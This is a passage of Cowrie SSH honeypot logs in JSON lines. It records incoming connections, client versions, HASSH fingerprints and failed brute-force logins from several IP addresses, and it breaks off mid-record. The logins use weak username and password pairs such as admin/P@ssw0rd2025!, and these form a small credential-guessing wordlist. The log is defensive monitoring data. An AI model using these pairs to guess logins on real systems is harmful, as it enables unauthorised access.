{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:05:41.490047Z","src_ip":"193.32.162.145","session":"0ad7d6f2aeb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.22.233","src_port":63150,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fd8175a29a4","protocol":"ssh","message":"New connection: 165.154.22.233:63150 (10.17.0.5:22) [session: 1fd8175a29a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:05:56.767511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:05:56.772827Z","src_ip":"165.154.22.233","session":"1fd8175a29a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:05:56.991888Z","src_ip":"165.154.22.233","session":"1fd8175a29a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ekp","password":"ekp123!","message":"login attempt [ekp/ekp123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:05:57.883982Z","src_ip":"165.154.22.233","session":"1fd8175a29a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:05:59.114481Z","src_ip":"165.154.22.233","session":"1fd8175a29a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.16.238.49","src_port":53762,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec061db93c5c","protocol":"ssh","message":"New connection: 201.16.238.49:53762 (10.17.0.5:22) [session: ec061db93c5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:06:11.077712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:06:11.099979Z","src_ip":"201.16.238.49","session":"ec061db93c5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:06:11.237327Z","src_ip":"201.16.238.49","session":"ec061db93c5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@ssw0rd2025!","message":"login attempt [admin/P@ssw0rd2025!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:06:11.799828Z","src_ip":"201.16.238.49","session":"ec061db93c5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:06:12.945415Z","src_ip":"201.16.238.49","session":"ec061db93c5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":54424,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cdcc398c6a9","protocol":"ssh","message":"New connection: 2.57.122.210:54424 (159.203.135.109:22) [session: 5cdcc398c6a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:07:03.672398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:07:03.677026Z","src_ip":"2.57.122.210","session":"5cdcc398c6a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:07:03.781435Z","src_ip":"2.57.122.210","session":"5cdcc398c6a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"elayer","message":"login attempt [ubuntu/elayer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:07:04.094110Z","src_ip":"2.57.122.210","session":"5cdcc398c6a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:07:05.200639Z","src_ip":"2.57.122.210","session":"5cdcc398c6a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.125","src_port":37344,"dst_ip":"10.17.0.5","dst_port":22,"session":"54a24ef88004","protocol":"ssh","message":"New connection: 101.36.108.125:37344 (10.17.0.5:22) [session: 54a24ef88004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:07:14.366011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:07:14.370651Z","src_ip":"101.36.108.125","session":"54a24ef88004","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:07:14.588734Z","src_ip":"101.36.108.125","session":"54a24ef88004","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhenshan","password":"123456","message":"login attempt [zhenshan/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:07:15.477749Z","src_ip":"101.36.108.125","session":"54a24ef88004","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:07:16.694024Z","src_ip":"101.36.108.125","session":"54a24ef88004","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.250.191.201","src_port":43450,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecbdf7b6189c","protocol":"ssh","message":"New connection: 130.250.191.201:43450 (10.17.0.5:22) [session: ecbdf7b6189c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:07:23.428432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:07:23.433106Z","src_ip":"130.250.191.201","session":"ecbdf7b6189c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:07:23.691664Z","src_ip":"130.250.191.201","session":"ecbdf7b6189c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"iksi","password":"iksi123!","message":"login attempt [iksi/iksi123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:07:24.789869Z","src_ip":"130.250.191.201","session":"ecbdf7b6189c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:07:26.108540Z","src_ip":"130.250.191.201","session":"ecbdf7b6189c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":43068,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae353acb2e61","protocol":"ssh","message":"New connection: 170.238.160.191:43068 (10.17.0.5:22) [session: ae353acb2e61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:07:45.696842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:07:45.700591Z","src_ip":"170.238.160.191","session":"ae353acb2e61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:07:45.817603Z","src_ip":"170.238.160.191","session":"ae353acb2e61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"viewtinet","password":"123456","message":"login attempt [viewtinet/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:07:46.319704Z","src_ip":"170.238.160.191","session":"ae353acb2e61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:07:47.439065Z","src_ip":"170.238.160.191","session":"ae353acb2e61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":58848,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d3bc02efe73","protocol":"ssh","message":"New connection: 193.32.162.145:58848 (10.17.0.5:22) [session: 6d3bc02efe73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:07:52.624853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:07:52.629374Z","src_ip":"193.32.162.145","session":"6d3bc02efe73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:07:52.733667Z","src_ip":"193.32.162.145","session":"6d3bc02efe73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"qwerty1234","message":"login attempt [sol/qwerty1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:07:53.297875Z","src_ip":"193.32.162.145","session":"6d3bc02efe73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:07:54.406391Z","src_ip":"193.32.162.145","session":"6d3bc02efe73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.22.233","src_port":43956,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff2f7c7a4b8b","protocol":"ssh","message":"New connection: 165.154.22.233:43956 (10.17.0.5:22) [session: ff2f7c7a4b8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:07:57.666659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:07:57.676585Z","src_ip":"165.154.22.233","session":"ff2f7c7a4b8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:07:57.887467Z","src_ip":"165.154.22.233","session":"ff2f7c7a4b8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"perforce","password":"perforce1234","message":"login attempt [perforce/perforce1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:07:58.735799Z","src_ip":"165.154.22.233","session":"ff2f7c7a4b8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:07:59.953536Z","src_ip":"165.154.22.233","session":"ff2f7c7a4b8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.16.238.49","src_port":36646,"dst_ip":"10.17.0.5","dst_port":22,"session":"8dcb75cbe451","protocol":"ssh","message":"New connection: 201.16.238.49:36646 (10.17.0.5:22) [session: 8dcb75cbe451]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:08:42.639380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T05:08:42.642848Z","src_ip":"201.16.238.49","session":"8dcb75cbe451","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 